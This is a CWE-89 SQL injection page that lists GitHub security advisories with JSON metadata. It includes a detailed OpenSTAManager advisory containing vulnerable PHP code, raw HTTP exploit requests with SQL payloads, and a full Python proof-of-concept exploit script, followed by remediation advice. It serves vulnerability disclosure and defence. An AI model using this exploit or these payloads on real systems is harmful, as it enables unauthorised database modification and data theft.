Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27597 vulnerabilities reference this CWE, most recent first.

GHSA-2FHC-WXPQ-2MF3

Vulnerability from github – Published: 2024-11-01 03:31 – Updated: 2024-11-01 03:31
VLAI
Details

A vulnerability has been found in ESAFENET CDG 5 and classified as critical. This vulnerability affects the function delProtocol of the file /com/esafenet/servlet/system/ProtocolService.java. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-01T02:15:03Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in ESAFENET CDG 5 and classified as critical. This vulnerability affects the function delProtocol of the file /com/esafenet/servlet/system/ProtocolService.java. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-2fhc-wxpq-2mf3",
  "modified": "2024-11-01T03:31:15Z",
  "published": "2024-11-01T03:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10610"
    },
    {
      "type": "WEB",
      "url": "https://flowus.cn/share/0099e10a-5242-4651-a85a-5e8f98abc533?code=G8A6P3"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.282622"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.282622"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.431326"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2FM9-QXP4-2WGH

Vulnerability from github – Published: 2023-04-22 18:30 – Updated: 2023-04-22 18:30
VLAI
Details

A vulnerability was found in SourceCodester Complaint Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file users/registration.php of the component POST Parameter Handler. The manipulation of the argument fullname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-227228.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-22T17:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Complaint Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file users/registration.php of the component POST Parameter Handler. The manipulation of the argument fullname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-227228.",
  "id": "GHSA-2fm9-qxp4-2wgh",
  "modified": "2023-04-22T18:30:28Z",
  "published": "2023-04-22T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HibuMk/bug_report/blob/main/SQLi.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.227228"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.227228"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FMV-49QJ-83RM

Vulnerability from github – Published: 2023-08-14 12:30 – Updated: 2024-04-04 06:54
VLAI
Details

novel-plus v3.6.2 was discovered to contain a SQL injection vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-37847"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-14T12:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "novel-plus v3.6.2 was discovered to contain a SQL injection vulnerability.",
  "id": "GHSA-2fmv-49qj-83rm",
  "modified": "2024-04-04T06:54:45Z",
  "published": "2023-08-14T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37847"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KingBangQ/CVE-2023-37847/blob/main/README.md"
    },
    {
      "type": "WEB",
      "url": "https://novel.xxyopen.com/index.htm"
    },
    {
      "type": "WEB",
      "url": "http://novel-plus.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FP4-XH7G-85V8

Vulnerability from github – Published: 2022-05-17 05:39 – Updated: 2022-05-17 05:39
VLAI
Details

Multiple SQL injection vulnerabilities in Rae Media INC Real Estate Single and Multi Agent System 3.0 allow remote attackers to execute arbitrary SQL commands via the probe parameter to (1) multi/city.asp in the Multi Agent System and (2) resulttype.asp in the Single Agent System.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-4738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-02-16T03:00:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple SQL injection vulnerabilities in Rae Media INC Real Estate Single and Multi Agent System 3.0 allow remote attackers to execute arbitrary SQL commands via the probe parameter to (1) multi/city.asp in the Multi Agent System and (2) resulttype.asp in the Single Agent System.",
  "id": "GHSA-2fp4-xh7g-85v8",
  "modified": "2022-05-17T05:39:22Z",
  "published": "2022-05-17T05:39:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4738"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/69627"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/69628"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/files/view/96389/raemediaincresmas-sql.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42515"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/8080"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/8082"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/8088"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/45211"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/45212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2FPH-M3PW-66WP

Vulnerability from github – Published: 2025-12-11 21:31 – Updated: 2025-12-15 21:30
VLAI
Details

IBM Aspera Orchestrator 4.0.0 through 4.1.0 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-11T20:15:53Z",
    "severity": "HIGH"
  },
  "details": "IBM Aspera Orchestrator 4.0.0 through 4.1.0 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL\u00a0statements, which could allow the attacker to view, add, modify, or delete information in the back-end\u00a0database.",
  "id": "GHSA-2fph-m3pw-66wp",
  "modified": "2025-12-15T21:30:29Z",
  "published": "2025-12-11T21:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13214"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7254434"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FQ9-XVQ4-G48V

Vulnerability from github – Published: 2022-05-24 17:27 – Updated: 2022-05-24 17:27
VLAI
Details

SQL injection vulnerabilities exist in the course_period_id parameters used in OS4Ed openSIS 7.3 pages. The course_period_id parameter in the page MassDropSessionSet.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request to trigger these vulnerabilities.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-6130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-01T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SQL injection vulnerabilities exist in the course_period_id parameters used in OS4Ed openSIS 7.3 pages. The course_period_id parameter in the page MassDropSessionSet.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request to trigger these vulnerabilities.",
  "id": "GHSA-2fq9-xvq4-g48v",
  "modified": "2022-05-24T17:27:10Z",
  "published": "2022-05-24T17:27:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6130"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FQJ-V35V-Q68V

Vulnerability from github – Published: 2025-12-15 21:30 – Updated: 2025-12-15 21:30
VLAI
Details

SQL injection vulnerability in anirbandutta9 NEWS-BUZZ v.1.0 allows a remote attacker to execute arbitrary code via a crafted script.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-38913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T21:15:48Z",
    "severity": "MODERATE"
  },
  "details": "SQL injection vulnerability in anirbandutta9 NEWS-BUZZ v.1.0 allows a remote attacker to execute arbitrary code via a crafted script.",
  "id": "GHSA-2fqj-v35v-q68v",
  "modified": "2025-12-15T21:30:31Z",
  "published": "2025-12-15T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38913"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/nguyenkhanhthuan/03ce706686508b14506d38788c754dfb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ThuanNguyen115685/Report/blob/main/sqlinjection.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FR7-CC4F-WH98

Vulnerability from github – Published: 2026-04-03 03:47 – Updated: 2026-04-03 03:47
VLAI
Summary
OpenSTAManager: SQL Injection via Aggiornamenti Module
Details

Description

The Aggiornamenti (Updates) module in OpenSTAManager <= 2.10.1 contains a database conflict resolution feature (op=risolvi-conflitti-database) that accepts a JSON array of SQL statements via POST and executes them directly against the database without any validation, allowlist, or sanitization.

An authenticated attacker with access to the Aggiornamenti module can execute arbitrary SQL statements including CREATE, DROP, ALTER, INSERT, UPDATE, DELETE, SELECT INTO OUTFILE, and any other SQL command supported by the MySQL server. Foreign key checks are explicitly disabled before execution (SET FOREIGN_KEY_CHECKS=0), further reducing database integrity protections.

Affected Code

File: modules/aggiornamenti/actions.php, lines 40-82

case 'risolvi-conflitti-database':
    $queries_json = post('queries');                    // Line 41: User input from POST
    // ...
    $queries = json_decode($queries_json, true);        // Line 50: JSON decoded to array
    // ...
    $dbo->query('SET FOREIGN_KEY_CHECKS=0');            // Line 69: FK checks DISABLED

    $errors = [];
    $executed = 0;

    foreach ($queries as $query) {
        try {
            $dbo->query($query);                        // Line 76: DIRECT EXECUTION
            ++$executed;
        } catch (Exception $e) {
            $errors[] = $query.' - '.$e->getMessage();  // Line 79: Error details leaked
        }
    }
    $dbo->query('SET FOREIGN_KEY_CHECKS=1');            // Line 82: FK checks re-enabled

Key Issues

  1. No query validation: The SQL statements from user input are executed directly via $dbo->query() without any validation or filtering.
  2. No allowlist: There is no restriction on which SQL commands are permitted (e.g., only ALTER TABLE or CREATE INDEX).
  3. Foreign key checks disabled: SET FOREIGN_KEY_CHECKS=0 is executed before the user queries, allowing data integrity violations.
  4. Error message leakage: Exception messages containing database structure details are returned in the JSON response (line 79).
  5. No authorization check: The action only requires module-level access, with no additional authorization for this destructive operation.

Root Cause Analysis

Data Flow

  1. Attacker sends POST request to /editor.php?id_module=<Aggiornamenti_ID> with op=risolvi-conflitti-database and queries=["<arbitrary SQL>"]
  2. editor.php includes actions.php (root), which checks module permission ($structure->permission == 'rw') at line 472
  3. Root actions.php includes the module's actions.php at line 489
  4. modules/aggiornamenti/actions.php reads the queries POST parameter (line 41)
  5. JSON-decodes it into an array of strings (line 50)
  6. Iterates over each string and executes it as a SQL query via $dbo->query() (line 76)

Why This Is Exploitable

  • The feature is intended for resolving database schema conflicts during updates
  • However, there is no restriction on what SQL can be executed
  • Any authenticated user with rw permission on the Aggiornamenti module can exploit this
  • The default admin account always has access to this module

Proof of Concept

Prerequisites

  • A valid user account with access to the Aggiornamenti module

Step 1: Authenticate

POST /index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

op=login&username=<user>&password=<pass>

Save the PHPSESSID cookie.

Step 2: Detect Aggiornamenti Module ID

Navigate to the application dashboard and inspect the sidebar links. The Aggiornamenti module URL contains id_module=<ID>. Default value in a standard installation: 6.

Step 3: Execute Arbitrary SQL

Request (captured in Burp Suite):

POST /editor.php?id_module=6&id_record=6 HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: PHPSESSID=6a1a8ab261f8d93c6e21d2ee566c17a5
Content-Type: application/x-www-form-urlencoded

op=risolvi-conflitti-database&queries=%5B%22DROP+TABLE+IF+EXISTS+poc_vuln04_verify%22%2C+%22CREATE+TABLE+poc_vuln04_verify+%28id+INT+AUTO_INCREMENT+PRIMARY+KEY%2C+proof+VARCHAR%28255%29%2C+ts+TIMESTAMP+DEFAULT+CURRENT_TIMESTAMP%29%22%2C+%22INSERT+INTO+poc_vuln04_verify+%28proof%29+VALUES+%28%27CVE_PROOF_arbitrary_sql_execution%27%29%22%5D

The URL-decoded queries parameter is:

[
  "DROP TABLE IF EXISTS poc_vuln04_verify",
  "CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)",
  "INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')"
]

Three arbitrary SQL statements are sent: DROP TABLE, CREATE TABLE, and INSERT INTO — demonstrating full control over the database.

Response (captured in Burp Suite):

The server responds with HTTP 200 and the following JSON response confirming successful execution of all 3 queries:

{"success":true,"message":"Tutte le query sono state eseguite con successo (3 query).<br><br>Query eseguite:<br>DROP TABLE IF EXISTS poc_vuln04_verify<br>CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)<br>INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')","flash_message":true}

image

Step 4: Verify Execution

The table poc_vuln04_verify was created in the database with the inserted data, confirming that arbitrary SQL was executed. The server confirms: "Tutte le query sono state eseguite con successo (3 query)."

Observed Results

Action Result
DROP TABLE IF EXISTS Table dropped successfully
CREATE TABLE Table created successfully
INSERT INTO Data inserted
SELECT VERSION() (via INSERT...SELECT) MySQL version extracted: 8.3.0
Server confirmation "success":true with query count
Execution with admin user Success
Execution with non-admin user (Tecnici group with module access) Success

Exploit

python3 poc_sql.py -t http://<target>:8888 -u admin -p admin
#!/usr/bin/env python3

import argparse
import json
import re
import sys
import urllib3

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_HEADERS = {
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/120.0.0.0 Safari/537.36"
    ),
}


def parse_args():
    p = argparse.ArgumentParser(
        description="OpenSTAManager <= 2.10.1 — Arbitrary SQL Exec in Aggiornamenti (PoC)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Examples:\n"
            "  %(prog)s -t http://target:8888 -u admin -p admin\n"
            "  %(prog)s -t http://target:8888 -u admin -p admin --proxy http://127.0.0.1:8080\n"
            "  %(prog)s -t http://target:8888 -u admin -p admin --module-id 6\n"
        ),
    )
    p.add_argument("-t", "--target", required=True, help="Base URL (e.g. http://host:port)")
    p.add_argument("-u", "--username", required=True, help="Valid username for authentication")
    p.add_argument("-p", "--password", required=True, help="Password for authentication")
    p.add_argument(
        "--proxy",
        default=None,
        help="HTTP proxy (e.g. http://127.0.0.1:8080 for Burp Suite)",
    )
    p.add_argument(
        "--module-id",
        type=int,
        default=None,
        help="Aggiornamenti module ID (auto-detected if omitted)",
    )
    p.add_argument(
        "--verify-only",
        action="store_true",
        help="Only verify the vulnerability, do not extract data",
    )
    return p.parse_args()


class OSMExploit:
    def __init__(self, args):
        self.target = args.target.rstrip("/")
        self.username = args.username
        self.password = args.password
        self.module_id = args.module_id
        self.session = requests.Session()
        self.session.headers.update(DEFAULT_HEADERS)
        self.session.verify = False

        if args.proxy:
            self.session.proxies = {"http": args.proxy, "https": args.proxy}

        self.request_count = 0

    def login(self):
        info("Authenticating as '%s'..." % self.username)

        # First GET to obtain a valid session cookie
        self.session.get(f"{self.target}/index.php")
        self.request_count += 1

        r = self.session.post(
            f"{self.target}/index.php",
            data={"op": "login", "username": self.username, "password": self.password},
            allow_redirects=False,
        )
        self.request_count += 1

        if r.status_code != 302:
            fail("Login failed (HTTP %d). Check credentials." % r.status_code)
            return False

        location = r.headers.get("Location", "")

        # Success redirects to controller.php; failure redirects back to index.php
        if "controller.php" in location:
            success("Authenticated successfully.")
            # Follow redirect to establish full session
            self.session.get(f"{self.target}/{location.lstrip('/')}", allow_redirects=True)
            self.request_count += 1
            return True

        # If redirected back to index.php, the login failed
        # Common causes: wrong credentials, brute-force lockout, or active session token
        fail("Login failed — redirected to '%s'." % location)
        fail("Possible causes:")
        fail("  1. Wrong credentials")
        fail("  2. Brute-force lockout (wait 3 min or clear zz_logs)")
        fail("  3. Active session token (another session is open)")
        fail("  Tip: clear the token with SQL: UPDATE zz_users SET session_token=NULL WHERE username='%s';" % self.username)
        return False

    def detect_module_id(self):
        if self.module_id is not None:
            info("Using provided module ID = %d" % self.module_id)
            return True

        info("Auto-detecting Aggiornamenti module ID...")
        # Search for the module ID in the navigation HTML
        r = self.session.get(f"{self.target}/index.php", allow_redirects=True)
        self.request_count += 1

        # Look for sidebar link: <a href="/controller.php?id_module=6" ...>...<p>Aggiornamenti</p>

        matches = re.findall(r'id_module=(\d+)"[^<]*<[^<]*<[^<]*Aggiornamenti', r.text)
        if matches:
            self.module_id = int(matches[0])
            success("Aggiornamenti module ID = %d" % self.module_id)
            return True

        # Secondary pattern: data-id attribute near Aggiornamenti text
        matches = re.findall(r'data-id="(\d+)"[^<]*onclick[^<]*id_module=\d+[^<]*<[^<]*<[^<]*<[^<]*Aggiornamenti', r.text)
        if matches:
            self.module_id = int(matches[0])
            success("Aggiornamenti module ID = %d" % self.module_id)
            return True

        # Fallback: try common IDs
        for test_id in [6, 7, 8, 5, 4]:
            r = self.session.get(
                f"{self.target}/controller.php?id_module={test_id}",
                allow_redirects=True,
            )
            self.request_count += 1
            if "Aggiornamenti" in r.text or "aggiornamenti" in r.text.lower():
                self.module_id = test_id
                success("Aggiornamenti module ID = %d" % test_id)
                return True

        fail("Could not detect Aggiornamenti module ID. Use --module-id N.")
        return False

    def execute_sql(self, queries):
        """Execute arbitrary SQL via risolvi-conflitti-database."""
        r = self.session.post(
            f"{self.target}/editor.php?id_module={self.module_id}&id_record={self.module_id}",
            data={
                "op": "risolvi-conflitti-database",
                "queries": json.dumps(queries),
            },
        )
        self.request_count += 1
        return r

    def verify(self):
        marker_table = "poc_vuln04_verify"
        marker_value = "CVE_PROOF_arbitrary_sql_execution"

        info("Step 1: Creating marker table via arbitrary SQL execution...")
        queries = [
            f"DROP TABLE IF EXISTS {marker_table}",
            f"CREATE TABLE {marker_table} (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)",
            f"INSERT INTO {marker_table} (proof) VALUES ('{marker_value}')",
        ]
        r = self.execute_sql(queries)
        info("Response: HTTP %d" % r.status_code)

        info("Step 2: Verifying marker table exists by reading it back...")
        # Use a second query to read the data via a UNION or time-based approach
        # Since we can execute arbitrary SQL, we can verify by creating another
        # marker and checking via a SELECT INTO approach
        verify_queries = [
            f"INSERT INTO {marker_table} (proof) VALUES (CONCAT('verified_', (SELECT VERSION())))",
        ]
        r2 = self.execute_sql(verify_queries)

        # The JSON response may be embedded within HTML (editor.php renders the full page
        # after executing the action). Extract JSON from the response body.

        for resp in [r, r2]:
            # Try parsing as pure JSON first
            try:
                data = resp.json()
                if data.get("success"):
                    success("SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.")
                    success("Marker table '%s' created with proof value." % marker_table)
                    info("Response: %s" % data.get("message", "")[:200])
                    return True
            except (ValueError, KeyError):
                pass

            # Extract embedded JSON from HTML response
            json_match = re.search(r'\{"success"\s*:\s*true\s*,\s*"message"\s*:\s*"([^"]*)"', resp.text)
            if json_match:
                success("SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.")
                success("Marker table '%s' created with proof value." % marker_table)
                info("Server message: %s" % json_match.group(1)[:200])
                return True

            # Check for query execution indicators in response
            if "query sono state eseguite" in resp.text or "query eseguite" in resp.text.lower():
                success("SQL EXECUTION CONFIRMED! Server reports queries were executed.")
                return True

        fail("Could not verify SQL execution. Check target manually.")
        fail("Tip: use --module-id N if auto-detection failed.")
        return False

    def cleanup(self):
        info("Cleaning up marker tables...")
        self.execute_sql(["DROP TABLE IF EXISTS poc_vuln04_verify"])
        self.execute_sql(["DROP TABLE IF EXISTS poc_vuln04_marker"])
        self.execute_sql(["DROP TABLE IF EXISTS poc_vuln04_tecnico"])
        success("Cleanup complete.")


# ── Output helpers ──────────────────────────────────────────────────

def info(msg):
    print(f"\033[34m[*]\033[0m {msg}")

def success(msg):
    print(f"\033[32m[+]\033[0m {msg}")

def fail(msg):
    print(f"\033[31m[-]\033[0m {msg}")


# ── Main ────────────────────────────────────────────────────────────

def main():
    args = parse_args()
    exploit = OSMExploit(args)

    if not exploit.login():
        sys.exit(1)

    if not exploit.detect_module_id():
        sys.exit(1)

    print()
    info("=== Vulnerability Verification ===")
    if not exploit.verify():
        sys.exit(1)

    print()
    info("=== Cleanup ===")
    exploit.cleanup()

    print()
    success("Verification complete. %d HTTP requests sent." % exploit.request_count)
    info(
        "All traffic was sent through the configured proxy."
        if args.proxy
        else "Tip: use --proxy http://127.0.0.1:8080 to capture in Burp Suite."
    )


if __name__ == "__main__":
    main()

Impact

  • Confidentiality: Complete database exfiltration — credentials, PII, financial data, configuration secrets.
  • Integrity: Full control over all database tables — insert, update, delete any record. An attacker can create new admin accounts, modify financial records, or plant backdoors.
  • Availability: An attacker can DROP critical tables, corrupt data, or execute resource-intensive queries to cause denial of service.
  • Potential Remote Code Execution: Depending on MySQL server configuration, an attacker may be able to use SELECT ... INTO OUTFILE to write arbitrary files to the server filesystem, or use MySQL UDF (User Defined Functions) to execute operating system commands.

Proposed Remediation

Option A: Remove Direct Query Execution (Recommended)

Replace the arbitrary SQL execution with a predefined set of safe operations. The conflict resolution feature should only execute queries that were generated by the application itself, not user-supplied SQL:

case 'risolvi-conflitti-database':
    $queries_json = post('queries');
    $queries = json_decode($queries_json, true);

    if (empty($queries)) {
        echo json_encode(['success' => false, 'message' => tr('Nessuna query ricevuta.')]);
        break;
    }

    // ALLOWLIST: Only permit specific safe SQL patterns
    $allowed_patterns = [
        '/^ALTER\s+TABLE\s+`?\w+`?\s+(ADD|MODIFY|CHANGE|DROP)\s+/i',
        '/^CREATE\s+INDEX\s+/i',
        '/^DROP\s+INDEX\s+/i',
        '/^UPDATE\s+`?zz_views`?\s+SET\s+/i',
        '/^INSERT\s+INTO\s+`?zz_/i',
    ];

    $safe_queries = [];
    $rejected = [];

    foreach ($queries as $query) {
        $is_safe = false;
        foreach ($allowed_patterns as $pattern) {
            if (preg_match($pattern, trim($query))) {
                $is_safe = true;
                break;
            }
        }

        if ($is_safe) {
            $safe_queries[] = $query;
        } else {
            $rejected[] = $query;
        }
    }

    if (!empty($rejected)) {
        echo json_encode([
            'success' => false,
            'message' => tr('Query non permesse rilevate. Operazione bloccata.'),
        ]);
        break;
    }

    // Execute only validated queries
    foreach ($safe_queries as $query) {
        $dbo->query($query);
    }
    // ...

Option B: Server-Side Query Generation

Instead of accepting raw SQL from the client, have the client send operation descriptors and generate the SQL on the server:

case 'risolvi-conflitti-database':
    $operations = json_decode(post('operations'), true);

    foreach ($operations as $op) {
        switch ($op['type']) {
            case 'add_column':
                $table = preg_replace('/[^a-zA-Z0-9_]/', '', $op['table']);
                $column = preg_replace('/[^a-zA-Z0-9_]/', '', $op['column']);
                $type = preg_replace('/[^a-zA-Z0-9_() ]/', '', $op['datatype']);
                $dbo->query("ALTER TABLE `{$table}` ADD COLUMN `{$column}` {$type}");
                break;
            // ... other safe operations
        }
    }

Option C: Restrict Access (Minimum Mitigation)

At minimum, restrict this operation to admin-only users:

case 'risolvi-conflitti-database':
    if (!auth_osm()->getUser()->is_admin) {
        echo json_encode(['success' => false, 'message' => tr('Accesso negato.')]);
        break;
    }
    // ... existing code

Note: This alone is insufficient because even admin accounts can be compromised, and the feature still allows arbitrary SQL execution.

Additional Recommendations

  1. Remove SET FOREIGN_KEY_CHECKS=0: Foreign key checks should never be disabled based on user-initiated actions.
  2. Sanitize error output: Exception messages at line 79 leak database structure information. Replace with generic error messages.
  3. Add CSRF protection: Ensure the endpoint validates a CSRF token to prevent cross-site request forgery attacks.
  4. Audit logging: Log the actual SQL queries being executed (already partially implemented) but also log the requesting user's IP address and session.

Credits

Omar Ramirez

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:47:37Z",
    "nvd_published_at": "2026-04-02T14:16:31Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\nThe Aggiornamenti (Updates) module in OpenSTAManager \u003c= 2.10.1 contains a database conflict resolution feature (`op=risolvi-conflitti-database`) that accepts a JSON array of SQL statements via POST and executes them directly against the database without any validation, allowlist, or sanitization.\n\nAn authenticated attacker with access to the Aggiornamenti module can execute arbitrary SQL statements including `CREATE`, `DROP`, `ALTER`, `INSERT`, `UPDATE`, `DELETE`, `SELECT INTO OUTFILE`, and any other SQL command supported by the MySQL server. Foreign key checks are explicitly disabled before execution (`SET FOREIGN_KEY_CHECKS=0`), further reducing database integrity protections.\n\n## Affected Code\n\n**File:** `modules/aggiornamenti/actions.php`, lines 40-82\n\n```php\ncase \u0027risolvi-conflitti-database\u0027:\n    $queries_json = post(\u0027queries\u0027);                    // Line 41: User input from POST\n    // ...\n    $queries = json_decode($queries_json, true);        // Line 50: JSON decoded to array\n    // ...\n    $dbo-\u003equery(\u0027SET FOREIGN_KEY_CHECKS=0\u0027);            // Line 69: FK checks DISABLED\n\n    $errors = [];\n    $executed = 0;\n\n    foreach ($queries as $query) {\n        try {\n            $dbo-\u003equery($query);                        // Line 76: DIRECT EXECUTION\n            ++$executed;\n        } catch (Exception $e) {\n            $errors[] = $query.\u0027 - \u0027.$e-\u003egetMessage();  // Line 79: Error details leaked\n        }\n    }\n    $dbo-\u003equery(\u0027SET FOREIGN_KEY_CHECKS=1\u0027);            // Line 82: FK checks re-enabled\n```\n\n### Key Issues\n\n1. **No query validation:** The SQL statements from user input are executed directly via `$dbo-\u003equery()` without any validation or filtering.\n2. 